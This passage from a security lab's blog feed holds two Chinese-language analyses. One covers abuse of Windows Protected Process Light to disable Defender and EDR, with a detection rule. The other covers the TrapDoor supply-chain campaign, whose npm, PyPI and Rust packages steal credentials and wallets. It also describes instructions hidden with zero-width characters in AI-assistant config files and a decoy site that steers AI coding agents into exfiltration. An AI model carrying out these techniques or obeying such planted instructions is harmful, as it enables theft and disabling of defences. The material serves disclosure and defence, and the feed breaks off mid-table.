class=\"token plain\"></span><span class=\"token key atrule\" style=\"color:#00a4db\">detection</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token key atrule\" style=\"color:#00a4db\">selection</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token key atrule\" style=\"color:#00a4db\">EventID</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">13</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token key atrule\" style=\"color:#00a4db\">TargetObject|contains</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> '\\SYSTEM\\CurrentControlSet\\Services\\'</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token key atrule\" style=\"color:#00a4db\">TargetObject|endswith</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">'\\ImagePath'</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token key atrule\" style=\"color:#00a4db\">Details|contains|all</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">'ClipUp.exe'</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">'-p'</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">'-o'</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token key atrule\" style=\"color:#00a4db\">filter_defender_update</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token key atrule\" style=\"color:#00a4db\">TargetObject|contains</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> '\\WinDefend\\'</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">      </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> '\\WdFilter\\'</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token key atrule\" style=\"color:#00a4db\">Details|contains</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> '\\Program Files\\Windows Defender\\'</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token key atrule\" style=\"color:#00a4db\">condition</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> selection and not filter_defender_update</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token key atrule\" style=\"color:#00a4db\">level</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> high</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"33-基于-com-接口操控的代码执行waasremediation\">3.3 基于 COM 接口操控的代码执行：WaaSRemediation<a class=\"hash-link\" aria-label=\"3.3 基于 COM 接口操控的代码执行：WaaSRemediation的直接链接\" title=\"3.3 基于 COM 接口操控的代码执行：WaaSRemediation的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#33-%E5%9F%BA%E4%BA%8E-com-%E6%8E%A5%E5%8F%A3%E6%93%8D%E6%8E%A7%E7%9A%84%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8Cwaasremediation\">​</a></h3>\n<p>IBM X-Force 安全研究员 Mohamed Fakroud 与 Jimmy Bayne 发现了一种通过操控 DCOM 远程技术中按引用封送的对象指针，在服务端 DCOM 进程上下文中执行任意 .NET 托管代码的方法。</p>\n<p>该技术的关键利用对象是 WaaSRemediation COM 类及其暴露的 IDispatch 接口。WaaSRemediation 在 WaaSMedicSvc 服务中实现，该服务以 <code>NT AUTHORITY\\SYSTEM</code> 身份且附带 PPL 保护运行。攻击的核心在于 COM 对象的后期绑定机制：IDispatch 接口允许客户端在运行时动态发现并调用对象方法，通过 ITypeInfo 和 ITypeLib 接口解析类型信息。攻击者通过构造恶意的 ITypeLib 引用，可诱导 WaaSMedicSvc 服务加载攻击者控制的 .NET 程序集。</p>\n<p>Forshaw 的研究进一步描述了具体 PPL 绕过用例：通过操控 WaaSRemediation COM 类暴露的 IDispatch 接口，实现受困 COM 对象滥用与 .NET 代码执行。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-融合攻击链模型\">4. 融合攻击链模型<a class=\"hash-link\" aria-label=\"4. 融合攻击链模型的直接链接\" title=\"4. 融合攻击链模型的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#4-%E8%9E%8D%E5%90%88%E6%94%BB%E5%87%BB%E9%93%BE%E6%A8%A1%E5%9E%8B\">​</a></h2>\n<p>在实际攻击环境中，单独使用上述任意一种技术都难以实现完整攻击目标。本节构建一条集成四阶段攻击链：</p>\n<p><strong>第一阶段：BYOVD 驱动级进程终止。</strong> 利用合法签名内核驱动注册单一函数，通过 IOCTL 接口接收目标进程 ID，使用 ZwTerminateProcess 在核心态终止目标进程，绕过包括 PPL 在内的所有用户态保护机制。针对不同安全产品可采用定制化策略：对 Defender、金山毒霸等直接加载驱动终止进程；对 360 Total Security 额外通过防火墙规则阻断其网络通信，并将 shellcode 注入 VSS 服务进程。</p>\n<p><strong>第二阶段：EDR-Freeze 竞态条件冻结。</strong> BYOVD 驱动终止主要安全进程后，利用 WerFaultSecure.exe 竞态条件冻结残留的 Defender 组件，防止其恢复或上报异常状态。</p>\n<p><strong>第三阶段：ClipUp.exe PPL 代理篡改。</strong> 利用 PPL 保护的 ClipUp.exe 作为代理，篡改 Defender 二进制文件及注册表项。由于 ClipUp.exe 运行在 PPL 上下文中，其文件系统操作对安全产品不透明。</p>\n<p><strong>第四阶段：自定义 WDAC 策略部署。</strong> Defender 被禁用后部署未签名的 Windows Defender 应用程序控制策略，专门阻止杀软可执行文件启动，形成持续性的安全真空。</p>\n<p>完成清理后，攻击者通过创建恶意服务、监控受信系统进程、在进程被终止时重新注入组件等手段建立持久化。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-ppl-模型的结构性缺陷\">5. PPL 模型的结构性缺陷<a class=\"hash-link\" aria-label=\"5. PPL 模型的结构性缺陷的直接链接\" title=\"5. PPL 模型的结构性缺陷的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#5-ppl-%E6%A8%A1%E5%9E%8B%E7%9A%84%E7%BB%93%E6%9E%84%E6%80%A7%E7%BC%BA%E9%99%B7\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"51-信任锚点武器化\">5.1 信任锚点武器化<a class=\"hash-link\" aria-label=\"5.1 信任锚点武器化的直接链接\" title=\"5.1 信任锚点武器化的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#51-%E4%BF%A1%E4%BB%BB%E9%94%9A%E7%82%B9%E6%AD%A6%E5%99%A8%E5%8C%96\">​</a></h3>\n<p>PPL 的根本缺陷在于其信任模型的循环论证：进程因签名而被信任；合法进程因受信任而被授予对安全进程的特殊访问权限。问题不在于签名的密码学强度，而在于签名验证未区分设计用途与被滥用用途。</p>\n<p>WerFaultSecure.exe 设计意图是收集崩溃转储以诊断系统稳定性问题，需要 WinTcb 权限访问受保护进程内存——这是合理需求。但当攻击者在竞态条件中将其用作安全进程冻结器，该二进制文件的功能从诊断辅助变为安全拆除工具，而其签名和权限没有发生变化。同样的逻辑适用于 ClipUp.exe，其设计意图是处理剪贴板操作，但当攻击者以特定参数启动时，其加载的 DLL 和执行代码完全脱离了原始设计范围。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"52-防御体系的检测盲区\">5.2 防御体系的检测盲区<a class=\"hash-link\" aria-label=\"5.2 防御体系的检测盲区的直接链接\" title=\"5.2 防御体系的检测盲区的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#52-%E9%98%B2%E5%BE%A1%E4%BD%93%E7%B3%BB%E7%9A%84%E6%A3%80%E6%B5%8B%E7%9B%B2%E5%8C%BA\">​</a></h3>\n<p>安全产品面临结构性难题：如何检测一个在系统信任层级中比自己更高或同等的进程在滥用其特权？PPL 反恶意软件进程有能力检测和阻止用户态恶意代码，但当恶意代码运行在同等甚至更高 PPL 级别的上下文中，监测逻辑即告失效。</p>\n<p>EDR 的自我防护机制——包括 PPL 保护、防篡改和进程自我保护——在此攻击模型下被结构性绕过。攻击者不需要直接攻击安全产品，只需找到以合法 PPL 上下文执行操作的方法，而这些操作恰好具备破坏安全产品的能力。</p>\n<p>更深层的挑战在于：Windows 操作系统本身缺乏对 PPL 特权滥用的内置审计机制。当 WerFaultSecure.exe 被用于调试安全进程时，Windows 不会记录该行为为可疑，因为从操作系统视角看，这是 WinTcb 可信进程在执行设计功能。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"6-检测与缓解策略\">6. 检测与缓解策略<a class=\"hash-link\" aria-label=\"6. 检测与缓解策略的直接链接\" title=\"6. 检测与缓解策略的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#6-%E6%A3%80%E6%B5%8B%E4%B8%8E%E7%BC%93%E8%A7%A3%E7%AD%96%E7%95%A5\">​</a></h2>\n<p>针对 PPL 滥用的检测需要从静态信任转向行为监控：</p>\n<ul>\n<li>监控 WerFaultSecure.exe 的异常启动参数，特别是指向安全进程或 LSASS 的 PID</li>\n<li>检测从非标准路径加载 DLL 的 PPL 保护进程</li>\n<li>识别对 Defender 二进制文件或注册表项的 PPL 上下文修改</li>\n<li>部署 WDAC 策略阻止已知易受攻击驱动加载</li>\n<li>限制可创建内核服务的用户账户</li>\n</ul>\n<p>2026 年，微软已开始推行针对交叉签名根程序签发驱动程序的信任移除政策，但这一措施主要作用于 BYOVD 层面，未触及 PPL 信任模型的根本缺陷。只要 Windows 将继续数字签名等同于运行期信任，只要 WinTcb 层级二进制可被用户态调用，PPL 滥用技术的生命周期便远未结束。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"结论\">结论<a class=\"hash-link\" aria-label=\"结论的直接链接\" title=\"结论的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>PPL 的设计缺陷不在于密码学或访问控制机制的强度，而在于其将编译时签名验证等同于运行时行为可信的语义鸿沟。EDR-Freeze、ClipUp 代理与 COM 接口操控三类技术从不同角度利用了这一缺陷，而四阶段融合攻击链模型进一步展示了其组合利用的现实威胁。对防御方而言，行为基线监控与 WDAC 策略虽无法根除问题，但能显著提高攻击成本。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"参考文献\">参考文献<a class=\"hash-link\" aria-label=\"参考文献的直接链接\" title=\"参考文献的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#%E5%8F%82%E8%80%83%E6%96%87%E7%8C%AE\">​</a></h2>\n<p>[1] Zero Salarium. \"EDR-Freeze: Bypassing PPL with WerFaultSecure Race Condition.\" <a href=\"https://github.com/TwoSevenOneT/EDR-Freeze\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/TwoSevenOneT/EDR-Freeze</a></p>\n<p>[2] Elastic Security Labs. \"RONINGLOADER Analysis: ClipUp.exe PPL Abuse by Dragon Breath APT.\"</p>\n<p>[3] Mohamed Fakroud, Jimmy Bayne. \"COM .NET Code Execution via DCOM Object Pointer Manipulation.\" IBM X-Force Research. <a href=\"https://github.com/T3nb3w/ComDotNetExploit\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/T3nb3w/ComDotNetExploit</a></p>\n<p>[4] Forshaw. \"PPL Bypass via WaaSRemediation COM IDispatch Interface.\" <a href=\"https://github.com/xforcered/ForsHops\" target=\"_blank\" rel=\"noopener noreferrer\">https://github.com/xforcered/ForsHops</a></p>\n<p>[5] Microsoft. \"Protected Processes in Windows.\" MSDN Documentation.</p>",
            "url": "https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/",
            "title": "Windows 受保护进程轻量级滥用技术分析与攻击链建模",
            "summary": "针对 Windows PPL 信任模型的结构性缺陷分析，涵盖 EDR-Freeze 竞态条件、ClipUp 二进制代理及 COM 对象操控三类滥用技术，并构建四阶段融合攻击链模型。",
            "date_modified": "2026-05-25T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Research",
                "Disclosure"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>2026年5月22日至5月24日，一场代号 TrapDoor 的大规模跨生态系统供应链攻击活动被披露。攻击者同时针对 npm、PyPI 和 Crates.io 三大软件包仓库发布超过 34 个恶意包及 384 余个关联版本，专门针对加密货币、DeFi、Solana 生态及 AI 开发社区的开发者群体。本次攻击展现出高度的跨平台协调性，利用各生态系统特有的执行机制实现恶意代码触发，并创新性地引入 AI 编程助手配置投毒技术。本文从攻击基础设施、多平台载荷机制、AI 定向注入与数据窃取模型四个维度进行技术分析。</p>\n<p><strong>关键词</strong>：供应链攻击；跨生态攻击；npm；PyPI；Crates.io；AI 投毒</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-引言\">1. 引言<a class=\"hash-link\" aria-label=\"1. 引言的直接链接\" title=\"1. 引言的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#1-%E5%BC%95%E8%A8%80\">​</a></h2>\n<p>软件供应链攻击已成为当前最具威胁性的攻击范式之一。2026年以来，Shai-Hulud、node-ipc 劫持等系列攻击事件表明，攻击者正从机会主义的 typosquatting 向高度组织化的定向攻击演进。TrapDoor 是该趋势的最新代表——它并非模仿流行包名诱骗随机用户安装，而是伪装成特定领域专业工具，精准定位加密货币与 AI 开发等高价值目标群体。</p>\n<p>TrapDoor 的特殊之处在于四个维度的技术突破：跨三大包管理器的协同执行、针对 AI 编程助手的配置投毒、多层级持久化驻留机制、以及基于密钥派生密码学（Fernet + ECDH）的载荷加密。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-攻击基础设施与跨生态协同\">2. 攻击基础设施与跨生态协同<a class=\"hash-link\" aria-label=\"2. 攻击基础设施与跨生态协同的直接链接\" title=\"2. 攻击基础设施与跨生态协同的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#2-%E6%94%BB%E5%87%BB%E5%9F%BA%E7%A1%80%E8%AE%BE%E6%96%BD%E4%B8%8E%E8%B7%A8%E7%94%9F%E6%80%81%E5%8D%8F%E5%90%8C\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"21-攻击者框架\">2.1 攻击者框架<a class=\"hash-link\" aria-label=\"2.1 攻击者框架的直接链接\" title=\"2.1 攻击者框架的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#21-%E6%94%BB%E5%87%BB%E8%80%85%E6%A1%86%E6%9E%B6\">​</a></h3>\n<p>攻击者以 GitHub 账号 <code>ddjidd564</code> 为核心运营节点，维护了大量伪装为安全审计与开发工具的仓库。npm 账号 <code>asdxzxc</code>、PyPI 账号 <code>asdmini67</code> 与 <code>dae5411</code> 分别用于对应生态的包发布。C2 与载荷托管统一指向 <code>ddjidd564.github.io</code>，数据外泄通过 GitHub Gist API 完成。</p>\n<p>攻击者的 GitHub 仓库矩阵涵盖三大类：载荷托管仓库（<code>defi-security-best-practices</code>）、攻击文档仓库（<code>AUDIT-MATRIX.md</code>、<code>PAYLOAD.md</code>、<code>BYPASS.md</code>、<code>SWARM.md</code>）及诱饵工具仓库（<code>env-security-scanner</code>、<code>smart-contract-audit-toolkit</code>、<code>defi-profit-scanner</code> 等）。其中 <code>AUDIT-MATRIX.md</code> 详细描述了代号为\"Universal AI Agent Extraction Framework\"的攻击框架设计，表明该攻击经过了体系化的前期规划。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"22-跨生态协同架构\">2.2 跨生态协同架构<a class=\"hash-link\" aria-label=\"2.2 跨生态协同架构的直接链接\" title=\"2.2 跨生态协同架构的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#22-%E8%B7%A8%E7%94%9F%E6%80%81%E5%8D%8F%E5%90%8C%E6%9E%B6%E6%9E%84\">​</a></h3>\n<p>攻击者针对不同包管理器的执行机制设计了差异化载荷触发路径：</p>\n<table><thead><tr><th>平台</th><th>触发机制</th><th>载荷类型</th><th>加密方式</th><th>外泄通道</th></tr></thead><tbody><tr><td>npm</td><td><code>postinstall</code> 钩子</td><td><code>trap-core.js</code> (1,149行, 48KB)</td><td>Fernet + ECDH</td><td>GitHub Gist API</td></tr><tr><td>PyPI</td><td><code>__init__.py</code> 导入时执行</td><td>远程 JS 载荷</td><td>—</td><td>通过 <code>node -e</code> 执行</td></tr><tr><td>Crates.io</td><td><code>build.rs</code> 编译期执行</td><td>XOR 加密数据</td><td>XOR key: <code>cargo-build-helper-2026</code></td><td>GitHub Gist API</td></tr></tbody></table>\n<p>三类载荷的最终数据外泄统一经攻击者的 GitHub Gist 通道完成，构成一条\"多点投放、统一回传\"的攻击流水线。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-多平台恶意代码执行技术\">3. 多平台恶意代码执行技术<a class=\"hash-link\" aria-label=\"3. 多平台恶意代码执行技术的直接链接\" title=\"3. 多平台恶意代码执行技术的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#3-%E5%A4%9A%E5%B9%B3%E5%8F%B0%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%8A%80%E6%9C%AF\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-npmpostinstall-钩子与集中式载荷\">3.1 npm：postinstall 钩子与集中式载荷<a class=\"hash-link\" aria-label=\"3.1 npm：postinstall 钩子与集中式载荷的直接链接\" title=\"3.1 npm：postinstall 钩子与集中式载荷的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#31-npmpostinstall-%E9%92%A9%E5%AD%90%E4%B8%8E%E9%9B%86%E4%B8%AD%E5%BC%8F%E8%BD%BD%E8%8D%B7\">​</a></h3>\n<p>npm 平台的恶意包通过 <code>postinstall</code> 脚本在 <code>npm install</code> 完成后自动执行。所有 npm 恶意包共享同一份核心载荷 <code>trap-core.js</code>，该载荷以 Fernet 对称加密结合 ECDH 密钥交换的混合加密方案保护，其密码学方案复杂度远高于典型恶意包。</p>\n<p><code>trap-core.js</code> 在受感染主机上的执行流程可归纳为以下阶段：</p>\n<ul>\n<li>凭证枚举：扫描 <code>~/.ssh/</code>、AWS 凭证（环境变量、配置文件、IMDS）、GitHub Token（<code>gh auth token</code> 及 <code>.npmrc</code>）、Sui/Solana/Aptos 钱包数据、浏览器扩展钱包数据、浏览器登录数据库与 Cookie、环境变量及 <code>.env</code> 文件</li>\n<li>有效性验证：通过 AWS 和 GitHub API 对窃取凭证进行在线验证，筛选高价值凭证</li>\n<li>横向移动：利用窃取的 SSH 密钥尝试连接相邻主机，将受感染开发机作为入侵组织内网的跳板</li>\n<li>数据外泄：经 GitHub Gist API 回传窃取数据</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-pypi导入时执行与跨语言载荷加载\">3.2 PyPI：导入时执行与跨语言载荷加载<a class=\"hash-link\" aria-label=\"3.2 PyPI：导入时执行与跨语言载荷加载的直接链接\" title=\"3.2 PyPI：导入时执行与跨语言载荷加载的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#32-pypi%E5%AF%BC%E5%85%A5%E6%97%B6%E6%89%A7%E8%A1%8C%E4%B8%8E%E8%B7%A8%E8%AF%AD%E8%A8%80%E8%BD%BD%E8%8D%B7%E5%8A%A0%E8%BD%BD\">​</a></h3>\n<p>PyPI 恶意包利用 Python 导入机制的特性，在 <code>__init__.py</code> 中植入恶意代码。用户执行 <code>import</code> 语句时恶意代码即被触发。该代码从 <code>ddjidd564.github.io</code> 下载远程 JavaScript 载荷，并通过 <code>node -e</code> 在本地 Node.js 运行环境中执行。</p>\n<p>该设计的技术考量在于：外部托管载荷可随时更新而无需重新发布 PyPI 包；Python 与 Node.js 跨语言执行增加了静态分析的难度；动态载荷获取可规避基于签名的检测机制。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"33-cratesio编译期执行与密钥库窃取\">3.3 Crates.io：编译期执行与密钥库窃取<a class=\"hash-link\" aria-label=\"3.3 Crates.io：编译期执行与密钥库窃取的直接链接\" title=\"3.3 Crates.io：编译期执行与密钥库窃取的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#33-cratesio%E7%BC%96%E8%AF%91%E6%9C%9F%E6%89%A7%E8%A1%8C%E4%B8%8E%E5%AF%86%E9%92%A5%E5%BA%93%E7%AA%83%E5%8F%96\">​</a></h3>\n<p>Rust 包的恶意载荷嵌入在 <code>build.rs</code> 构建脚本中，在 <code>cargo build</code> 编译阶段自动执行。这是一个关键的时序优势——开发者在运行任何包功能代码之前即已被感染。</p>\n<p><code>build.rs</code> 脚本专门针对 Sui 和 Move 生态开发者。其执行逻辑为：搜索本地 Sui 密钥库文件，使用硬编码的 XOR 密钥 <code>cargo-build-helper-2026</code> 加密窃取数据，通过 GitHub Gist API 外泄。密钥库的泄露意味着对应的加密资产可能被攻击者完全控制。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-ai-开发环境定向投毒\">4. AI 开发环境定向投毒<a class=\"hash-link\" aria-label=\"4. AI 开发环境定向投毒的直接链接\" title=\"4. AI 开发环境定向投毒的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#4-ai-%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E5%AE%9A%E5%90%91%E6%8A%95%E6%AF%92\">​</a></h2>\n<p>TrapDoor 最具创新性的技术维度是针对 AI 编程助手的配置投毒，该攻击向量在现有公开文献中尚无先例。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"41-零宽度字符隐藏指令\">4.1 零宽度字符隐藏指令<a class=\"hash-link\" aria-label=\"4.1 零宽度字符隐藏指令的直接链接\" title=\"4.1 零宽度字符隐藏指令的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#41-%E9%9B%B6%E5%AE%BD%E5%BA%A6%E5%AD%97%E7%AC%A6%E9%9A%90%E8%97%8F%E6%8C%87%E4%BB%A4\">​</a></h3>\n<p>攻击者在 <code>.cursorrules</code> 和 <code>CLAUDE.md</code> 文件中植入包含零宽度 Unicode 字符（U+200B、U+200C、U+200D、U+FEFF）的隐藏指令。这些字符在正常文本渲染下不可见，但 AI 编程助手（Cursor、Claude Code）在解析配置文件时会将其识别为有效指令内容。</p>\n<p>隐藏指令伪装为\"安全扫描\"工作流定义，诱导 AI 助手在开发者交互过程中执行后台数据收集与窃取操作。由于 AI 助手在执行配置指令时通常不会产生显著的可疑系统调用，该攻击路径在运行时层面具有较高的隐蔽性。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"42-ai-工具链-pr-投毒\">4.2 AI 工具链 PR 投毒<a class=\"hash-link\" aria-label=\"4.2 AI 工具链 PR 投毒的直接链接\" title=\"4.2 AI 工具链 PR 投毒的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#42-ai-%E5%B7%A5%E5%85%B7%E9%93%BE-pr-%E6%8A%95%E6%AF%92\">​</a></h3>\n<p>攻击者向多个知名 AI/开发工具项目提交了包含恶意配置修改的 Pull Request，涉及的仓库包括 <code>browser-use/browser-use</code>、<code>langchain-ai/langchain</code>、<code>langflow-ai/langflow</code>、<code>run-llama/llama_index</code>、<code>FoundationAgents/MetaGPT</code> 及 <code>OpenHands/OpenHands</code>。若 PR 被合并，恶意配置文件将随主流项目的版本发布扩散至大量下游用户。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"43-诱饵网站诱导\">4.3 诱饵网站诱导<a class=\"hash-link\" aria-label=\"4.3 诱饵网站诱导的直接链接\" title=\"4.3 诱饵网站诱导的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#43-%E8%AF%B1%E9%A5%B5%E7%BD%91%E7%AB%99%E8%AF%B1%E5%AF%BC\">​</a></h3>\n<p>攻击者在 <code>ddjidd564.github.io/defi-security-best-practices/</code> 部署了一个渲染正常的 HTML 网站，伪装为 DeFi 安全最佳实践指南。该网站的核心目的是诱导 AI 助手在访问时运行其内嵌的恶意安全扫描指令，从而实现不依赖包安装的间接感染路径。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"5-数据窃取与持久化机制\">5. 数据窃取与持久化机制<a class=\"hash-link\" aria-label=\"5. 数据窃取与持久化机制的直接链接\" title=\"5. 数据窃取与持久化机制的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#5-%E6%95%B0%E6%8D%AE%E7%AA%83%E5%8F%96%E4%B8%8E%E6%8C%81%E4%B9%85%E5%8C%96%E6%9C%BA%E5%88%B6\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"51-凭证窃取范围\">5.1 凭证窃取范围<a class=\"hash-link\" aria-label=\"5.1 凭证窃取范围的直接链接\" title=\"5.1 凭证窃取范围的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#51-%E5%87%AD%E8%AF%81%E7%AA%83%E5%8F%96%E8%8C%83%E5%9B%B4\">​</a></h3>\n<p><code>trap-core.js</code> 的凭证枚举覆盖范围涵盖以下领域：</p>\n<ul>\n<li><strong>系统凭证</strong>：SSH 私钥（<code>~/.ssh/</code>）、环境变量及 <code>.env</code> 文件</li>\n<li><strong>云凭证</strong>：AWS 凭证（配置文件、环境变量、IMDS v1/v2）</li>\n<li><strong>代码仓库凭证</strong>：GitHub Token（<code>gh auth token</code> 与 <code>.npmrc</code> 扫描）</li>\n<li><strong>加密资产凭证</strong>：Sui/Solana/Aptos 钱包密钥库、浏览器扩展钱包数据</li>\n<li><strong>应用数据</strong>：浏览器登录数据库与 Cookie、API 密钥</li>\n</ul>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"52-多层持久化驻留\">5.2 多层持久化驻留<a class=\"hash-link\" aria-label=\"5.2 多层持久化驻留的直接链接\" title=\"5.2 多层持久化驻留的直接链接\" href=\"https://www.ce.ac.cn/blog/trapdoor-supply-chain-attack-analysis/#52-%E5%A4%9A%E5%B1%82%E6%8C%81%E4%B9%85%E5%8C%96%E9%A9%BB%E7%95%99\">​</a></h3>\n<p>攻击者在受感染主机上建立多层持久化机制，确保即使部分驻留被清除仍可恢复访问：</p>\n<table><thead><tr><th>持久化路径</th><th>技术手段</th><th>触发场景</th></tr></thead><tbody><tr><td><code>.cursorrules</code></td><td>AI 配置文件注入</td><td>AI 编程助手启动时</td></tr><tr><td><code>CLAUDE.md</code></td><td>Claude 配置文件注入</td><td>Claude Code 交互时</td></tr><tr><td>Git 